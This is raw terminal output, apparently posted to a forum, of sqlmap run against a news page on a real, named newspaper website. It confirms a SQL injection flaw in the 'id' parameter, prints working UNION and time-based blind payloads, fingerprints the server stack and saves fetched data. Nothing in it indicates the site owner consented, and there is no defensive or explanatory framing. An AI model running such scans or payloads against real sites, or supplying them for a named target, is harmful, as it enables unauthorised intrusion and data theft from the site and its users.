Code:
antlers@honeypot:~/downloads/sqlmapproject-sqlmap-2e96e3c$ python sqlmap.py -u www.henleystandard.co.uk/news/news.php?id=1192222
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:02:06
[07:02:06] [WARNING] using '/home/antlers/.sqlmap/output' as the output directory
[07:02:07] [INFO] testing connection to the target URL
[07:02:10] [INFO] heuristics detected web page charset 'ISO-8859-2'
[07:02:10] [INFO] testing if the target URL is stable. This can take a couple of seconds
[07:02:15] [INFO] target URL is stable
[07:02:15] [INFO] testing if GET parameter 'id' is dynamic
[07:02:18] [INFO] confirming that GET parameter 'id' is dynamic
[07:02:23] [INFO] GET parameter 'id' is dynamic
[07:02:23] [INFO] heuristics detected web page charset 'ascii'
[07:02:23] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[07:02:23] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and riY
[07:02:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:02:42] [WARNING] reflective value(s) found and filtering out
[07:02:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:02:57] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[07:03:07] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)'
[07:03:15] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[07:03:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[07:03:18] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
[07:03:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace (original value)'
[07:03:21] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace (original value)'
[07:03:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses'
[07:03:26] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses'
[07:03:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[07:03:31] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[07:03:35] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'
[07:03:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[07:03:43] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause'
[07:03:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[07:03:52] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML)'
[07:03:56] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause'
[07:04:00] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[07:04:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[07:04:05] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[07:04:06] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[07:04:06] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses'
[07:04:07] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (EXTRACTVALUE)'
[07:04:08] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (UPDATEXML)'
[07:04:08] [INFO] testing 'MySQL inline queries'
[07:04:09] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:04:09] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[07:04:13] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[07:04:17] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:04:32] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable
[07:04:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[07:04:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:04:49] [INFO] target URL appears to be UNION injectable with 12 columns
[07:04:59] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[07:05:00] [WARNING] parameter length constraint mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 174 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: id=1192222 UNION ALL SELECT CONCAT(0x7173617871,0x42436144704a57725258,0x716a717571),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1192222 AND SLEEP(5)
---
[07:05:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0.11
[07:05:06] [INFO] fetched data logged to text files under '/home/antlers/.sqlmap/output/www.henleystandard.co.uk'
[*] shutting down at 07:05:06